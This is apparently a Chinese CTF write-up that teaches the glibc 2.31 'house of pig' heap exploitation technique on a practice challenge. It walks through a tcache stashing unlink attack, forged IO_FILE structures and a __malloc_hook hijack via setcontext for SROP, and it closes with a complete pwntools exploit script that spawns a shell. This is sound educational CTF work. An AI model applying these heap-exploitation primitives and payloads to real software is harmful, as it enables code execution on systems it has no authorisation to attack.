本文最后编辑于 前,其中的内容可能需要更新。
通过一道题学习house of pig
题目附件
题目分析
最近看到一个比较有意思的题目,是pwn_RenCvn师傅给的,基本的菜单功能,但是是通过calloc
来申请堆块的大小限制在small bin范围内,漏洞也挺明了的,就是uaf
,题目使用的是 libc2.31

参考大佬博客:https://www.anquanke.com/post/id/242640
https://www.anquanke.com/post/id/216290
https://www.anquanke.com/post/id/198173,基本上都是这几篇博客的整合。
因为没有large bin范围的chunk申请,所以large bin attack没办法用,我唯一想到可以用的就是tcache_stashing_unlink_attack,可以任意空间写一个大地址。
思路
执行 Tcache Stashing Unlink Attack
tcache bin和SmallBin中的情况为:

1
| Small Bin: Chunk2 -> Chunk1
|
那么我们接下来若申请一个大小为0xa0
的Chunk
,程序仅会检查Chunk2
的fd
指针是否指向Chunk1
。在取出Chunk 1
后,因为0xa0的Tcache Bin还有2个空位,程序会首先遍历发现Chunk2满足大小条件并将其作为参数调用tcache_put
。
1 2 3 4 5 6 7 8 9 10 11
| while ( tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin) ) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; ... bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } }
|
若此时,我们篡改了Chunk 2
的bk
指针为Fake_Chunk
的地址(_IO_list_all-0x10),那么程序接下来会将Small bin
的bk
指针置为_IO_list_all-0x10
,并且在_IO_list_all-0x10 -> fd
的位置写入bin
的地址,也就是main_arena
的地址。


通过tcache_stashing_unlink_attack
写_IO_list_all
为一个main_arena
上的一个地址

然后在main_arena
上对应FILE
结构的_chain
字段劫持为堆地址(通过释放对应位置的chunk
)

后面就是伪造 FILE 结构,最重要的一点就是将IO_file_jumps
修改为 _IO_str_jumps
,那么当原本应该调用 IO_file_overflow
的时候,就会转而调用如下的 IO_str_overflow
。而该函数是以传入的 FILE 地址本身为参数的,同时其中会连续调用 malloc
、memcpy
、free
函数(如下图)


然后布置堆块,在0xa0
的bin中留下两个堆块

其中一个是malloc_hook
,然后我们利用io_file
的非预期堆块申请申请到malloc_hook
同时用非预期填充将malloc_hook
填充为setcontext
,然后通过布置寄存器,来拿shell
。
然后我们看一下我们的fake IO_FILE_plus
Fake IO_FILE_plus1(malloc(0x90))
1 2 3 4 5
| payload = p64(0)*2+p64(0)+p64(heap+0x1930)+p64(0) payload += p64(heap+0x330)+p64(heap+22+0x330)+p64(0)*4 payload += p64(heap+0xbb0)+p64(0)+p64(0)+b"\x00"*8 payload += p64(0)*4+b"\x00"*48 payload += p64(0x1ed560+libc_base)
|
可以看到第二行的两个地址差22,而通过我们的size计算可以得出size = (0x90-100)/2 = 22
,是根据伪代码里的这个得到的:


执行完之后:

Fake IO_FILE_plus2(malloc(0x90) && hijack malloc_hook = setcontext)
1 2 3 4 5
| payload = p64(0)*2+p64(0)+p64(heap+0x1940)+p64(0) payload += p64(heap+0x350)+p64(heap+22+0x350)+p64(0)*4 payload += p64(heap+0xf10)+p64(0)+p64(0)+b"\x00"*8 payload += p64(0)*4+b"\x00"*48 payload += p64(0x1ed560+libc_base)
|

执行完之后:


然后再malloc
就劫持到setcontext+61
这里了,接下来执行第三个IO_FILE_plus就会触发srop。
Fake IO_FILE_plus3:(srop)
1 2 3 4 5
| payload = p64(0)*2+p64(0)+p64(heap+0x1940)+p64(0) payload += p64(heap+0x370)+p64(heap+22+0x370)+p64(0)*4 payload += p64(heap+0x10c0)+p64(0)+p64(0)+b"\x00"*8 payload += p64(0)*4+b"\x00"*48 payload += p64(0x1ed560+libc_base)
|
然后这里有一个小细节。就是在IO_str_overflow
里的汇编里

可以看到在调用malloc
之前的0x7ffff7e6db65位置rdx被赋值为 [rdi+0x28],而此时的rdi
恰好指向我们伪造的IO_FILE_plus
的头部,而在glibc2.29
的版本上setcontext
的利用从以前的rdi
变为了rdx
,因此我们可以通过这个位置来进行新版下的setcontext
,进而实现srop,具体做法是利用非预期地址填充将malloc_hook
填充为setcontext
,这样在我们进入io_str_overflow
时首先会将rdx
赋值为我们可以控制的地址,然后在后面malloc
的时候会触发setcontext
,而此时rdx
已经可控,因此就可以成功实现srop
。
可以看看调试过程:


成功srop


exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135
| from pwn import * context(log_level='debug',arch='amd64') binary='./pwn2' main_arena = 0x1ebb80 s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda: io.interactive() r = lambda n=None: io.recv(n) ra = lambda t=tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda: io.recvline() rls = lambda n=2**20: io.recvlines(n) su = lambda buf,addr:io.success(buf+"==>"+hex(addr)) local = 1 if local == 1: io=process(binary) else: io=remote() e=ELF(binary) libc=e.libc
one_gadget = [0x4f3d5,0x4f432,0x10a41c] def choice(index): ru(">> ") sl(str(index))
def add(size): choice(1) ru("size: ") sl(str(size)) def free(index): choice(2) ru("index: ") sl(str(index)) def edit(index,content): choice(3) ru("index: ") sl(str(index)) ru("content: ") sl(content) def show(index): choice(4) ru("index") sl(str(index))
for i in range(8): add(0x90)
for i in range(7): free(i+1) free(0) show(0) libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - main_arena - 96 fh = libc.sym['__free_hook']+libc_base mh = libc.sym['__malloc_hook']+libc_base setcontext = libc.sym['setcontext']+libc_base+61 system = libc.sym['system']+libc_base
show(2) ru("content: ") heap = u64(r(6).ljust(8,b'\x00'))-0x340 su("heap",heap) list_all = libc.sym['_IO_list_all']+libc_base su('libc_base',libc_base) for i in range(6): add(0xa0) for i in range(9): add(0x1a0)
for i in range(7): free(22-i) free(15) add(0xf0) add(0x1f0) free(14) add(0xf0) add(0x1f0) for i in range(6): free(8+i)
edit(14,b'a'*0xf8+p64(0xb1)+p64(heap+0xe60)+p64(list_all-0x10))
add(0xa0) for i in range(9): add(0xf0) for i in range(7): free(i+28) free(35) add(0x1f0) payload = p64(0)*2+p64(0)+p64(heap+0x1940)+p64(0) payload += p64(heap+0x330)+p64(heap+22+0x330)+p64(0)*4 payload += p64(heap+0xbb0)+p64(0)+p64(0)+b"\x00"*8 payload += p64(0)*4+b"\x00"*48 payload += p64(0x1ed560+libc_base) edit(35,payload) edit(1,p64(setcontext)+p64(setcontext)) free(1) add(0x130) edit(38,b'a'*0x88+p64(0x21)*3+p64(0x21)*2+p64(setcontext)+p64(setcontext)+p64(0x21)*2)
edit(7,p64(mh)) payload = p64(0)*2+p64(0)+p64(heap+0x1940)+p64(0) payload += p64(heap+0x350)+p64(heap+22+0x350)+p64(0)*4 payload += p64(heap+0xf10)+p64(0)+p64(0)+b"\x00"*8 payload += p64(0)*4+b"\x00"*48 payload += p64(0x1ed560+libc_base) edit(14,payload) syscall = next(libc.search(asm("syscall\nret")))+libc_base binsh_addr = libc_base + next(libc.search(b'/bin/sh\0')) frame = SigreturnFrame() frame.rsp = (fh&0xfffffffffffff000)+8
frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = system edit(22,bytes(frame))
payload = p64(0)*2+p64(0)+p64(heap+0x1940)+p64(0) payload += p64(heap+0x370)+p64(heap+22+0x370)+p64(0)*4 payload += p64(0)+p64(0)+p64(0)+b"\x00"*8 payload += p64(0)*4+b"\x00"*48 payload += p64(0x1ed560+libc_base) edit(16,payload)
choice(5)
shell()
|